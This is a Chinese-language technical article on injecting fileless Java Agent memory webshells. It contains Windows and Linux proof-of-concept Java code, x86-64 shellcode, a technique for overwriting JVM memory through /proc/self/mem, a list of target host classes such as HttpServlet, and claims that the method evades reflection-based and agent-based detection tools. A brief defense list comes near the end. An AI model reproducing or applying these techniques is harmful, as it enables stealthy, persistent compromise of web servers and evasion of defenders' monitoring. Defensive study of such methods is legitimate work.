论如何优雅的注入Java Agent内存马
字数 1688 2025-08-26 22:11:22
Java Agent内存马注入技术详解
1. 内存马技术演进
1.1 早期内存马技术(2018年)
- 首次提出memShell(内存马)概念
- 技术实现:利用Java Agent技术向JVM内存中植入webshell
- 实现步骤:
- 上传inject.jar到服务器用来枚举jvm并进行植入
- 上传agent.jar到服务器用来承载webshell功能
- 执行系统命令java -jar inject.jar
1.2 冰蝎v3.0改进(2020年)
- 使用self attach技术简化流程
- 实现步骤减少为2步:
- 上传agent.jar到服务器
- 冰蝎服务端调用Java API将agent.jar植入自身进程
1.3 冰蝎v3.0 Beta 10(2021年)
- 实现内存马防检测(Anti-Attach技术)
- 防止他人注入或扫描内存马
2. 现有技术的不足
- 文件落地问题:需要上传agent.jar到目标磁盘
- 新增组件问题:新增Filter/Servlet/Listener等组件容易被检测
- 环境依赖问题:不同容器/版本需要不同的注入方法,通用性差
3. 无文件Agent植入技术
3.1 技术原理
- 无需在目标磁盘上落地文件
- 直接操作JVM内存实现注入
3.2 关键技术点
3.2.1 获取JVMTIEnv指针
- 通过
JNI_GetCreatedJavaVMs函数获取JavaVM对象 - JavaVM对象中包含
GetEnv成员函数
struct JavaVM_ {
const struct JNIInvokeInterface_ *functions;
jint DestroyJavaVM() { return functions->DestroyJavaVM(this); }
jint AttachCurrentThread(void **penv, void *args) { return functions->AttachCurrentThread(this, penv, args); }
jint DetachCurrentThread() { return functions->DetachCurrentThread(this); }
jint GetEnv(void **penv, jint version) { return functions->GetEnv(this, penv, version); }
jint AttachCurrentThreadAsDaemon(void **penv, void *args) { return functions->AttachCurrentThreadAsDaemon(this, penv, args); }
};
3.2.2 Windows平台实现
技术路线:
- 通过Java向自身进程植入shellcode
- shellcode动态调用jvm.dll中的
JNI_GetCreatedJavaVMs
关键代码:
import java.lang.reflect.Method;
public class RunShellCode {
public static void main(String[] args) throws Exception {
System.loadLibrary("attach");
Class cls=Class.forName("sun.tools.attach.WindowsVirtualMachine");
for (Method m:cls.getDeclaredMethods()) {
if (m.getName().equals("enqueue")) {
long hProcess=-1;
byte shellcode[] = new byte[] {...}; // shellcode字节数组
String cmd="load";
String pipeName="test";
m.setAccessible(true);
Object result=m.invoke(cls,new Object[]{hProcess,shellcode,cmd,pipeName,new Object[0]});
}
}
}
}
shellcode工作流程:
- 获取kernel32.dll基址
- 获取GetProcessAddress函数地址
- 调用LoadLibraryA加载jvm.dll
- 获取JNI_GetCreatedJavaVMs地址
- 调用JNI_GetCreatedJavaVMs
- 安全退出线程
3.2.3 Linux平台实现
技术路线:
- 解析/proc/self/maps获取libjvm.so基址
- 修改Java_java_io_RandomAccessFile_length函数体
- 执行shellcode获取JVMTIEnv指针
- 恢复原函数体
关键步骤:
- 解析libjvm.so的ELF头,获取函数偏移
- 通过/proc/self/mem修改内存
- 执行自定义shellcode
- 恢复原始代码
shellcode示例:
push rbp
mov rbp, rsp
mov rax, 0xf
not rax
and rsp, rax
movabs rax, _JNI_GetCreatedJavaVMs
sub rsp, 40h
xor rsi, rsi
inc rsi
lea rdx, [rsp+4]
lea rdi, [rsp+8]
call rax
mov rdi, [rsp+8]
lea rsi, [rsp+10h]
mov edx, 30010200h
mov rax, [rdi]
call qword ptr [rax+30h]
mov rax, [rsp+10h]
add rsp, 40h
leave
ret
3.3 组装JPLISAgent
private long getJPLISAgent() {
long pointerLength = 8;
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe)field.get((Object)null);
} catch (Exception var14) {
throw new AssertionError(var14);
}
long JPLISAgent = unsafe.allocateMemory(4096L);
long native_jvmtienv = unsafe.getLong(JPLISAgent + (long)pointerLength);
if (pointerLength == 4) {
unsafe.putByte(native_jvmtienv + 201L, (byte)2);
} else {
unsafe.putByte(native_jvmtienv + 361L, (byte)2);
}
return JPLISAgent;
}
4. 动态修改类实现
4.1 Windows平台实现
完整POC:
package sun.tools.attach;
import sun.misc.Unsafe;
import java.io.IOException;
import java.lang.instrument.ClassDefinition;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class WindowsVirtualMachine {
public static int pointerLength=8;
public static String className;
public static byte[] classBody;
static native void enqueue(long hProcess, byte[] stub, String cmd, String pipename, Object... args) throws IOException;
public static void work() throws Exception {
Unsafe unsafe = null;
try {
Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (sun.misc.Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
long JPLISAgent = unsafe.allocateMemory(0x1000);
byte[] buf = {...}; // shellcode字节数组
try {
System.loadLibrary("attach");
enqueue(-1, buf, "enqueue", "enqueue");
} catch (Exception e) {
e.printStackTrace();
return;
}
long native_jvmtienv=unsafe.getLong(JPLISAgent+pointerLength);
if (pointerLength==4) {
unsafe.putByte(native_jvmtienv+201 , (byte) 2);
} else {
unsafe.putByte(native_jvmtienv+361 , (byte) 2);
}
try {
Class<?> instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl");
Constructor<?> constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);
constructor.setAccessible(true);
Object inst = constructor.newInstance(JPLISAgent, true, false);
ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody);
Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class);
redefineClazz.invoke(inst, new Object[] { new ClassDefinition[] { definition } });
} catch (Throwable error) {
error.printStackTrace();
throw error;
}
}
}
4.2 Linux平台实现
完整POC:
import sun.misc.Unsafe;
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import java.io.RandomAccessFile;
import java.lang.instrument.ClassDefinition;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
public class MemShell {
private void agentForLinux(String className,byte[] classBody) throws Exception {
// 解析/proc/self/maps获取函数地址
// 修改内存执行shellcode
// 恢复原始代码
// 构造JPLISAgent
// 使用InstrumentationImpl重定义类
}
private static final int SHT_DYNSYM = 11;
private static final int STT_FUNC =2;
private static final int STT_GNU_IFUNC =10;
private static int ELF_ST_TYPE(int x) { return (x & 0xf); }
static long find_symbol(String elfpath, String sym, long libbase) throws IOException {
// ELF解析实现
}
}
5. 内存马植入流程
-
选择宿主类:
- weblogic/servlet/internal/ServletStubImpl.class
- jakarta/servlet/http/HttpServlet.class
- javax/servlet/http/HttpServlet.class
-
读取宿主类字节码
-
插入webshell字节码:
- 使用ASM或Javaassit工具
- 或直接使用预植入的字节码
-
动态修改类:
- 调用上述技术实现类重定义
6. 技术优势
- 无文件落地:整个过程不在磁盘上留下文件
- 无新增类/方法:不增加新的类或方法,类似inline hook
- 隐蔽性强:
- 对基于反射机制的查杀工具隐形
- 配合Anti-Attach技术可对抗Agent查杀工具
7. 扩展应用
该技术不仅限于内存马注入,还提供了:
- Java到Native层的无约束通道
- 可扩展用于其他JVM底层操作
8. 防御建议
- 监控/proc/self/mem的写操作
- 加强JVM自身安全防护
- 检测异常的类重定义行为
- 实施严格的权限控制
9. 参考资源
- 《利用"进程注入"实现无文件复活WebShell》
- 《Java内存攻击技术漫谈》
- 《Linux下内存马进阶植入技术》
- 冰蝎v3.0/v4.0相关技术文档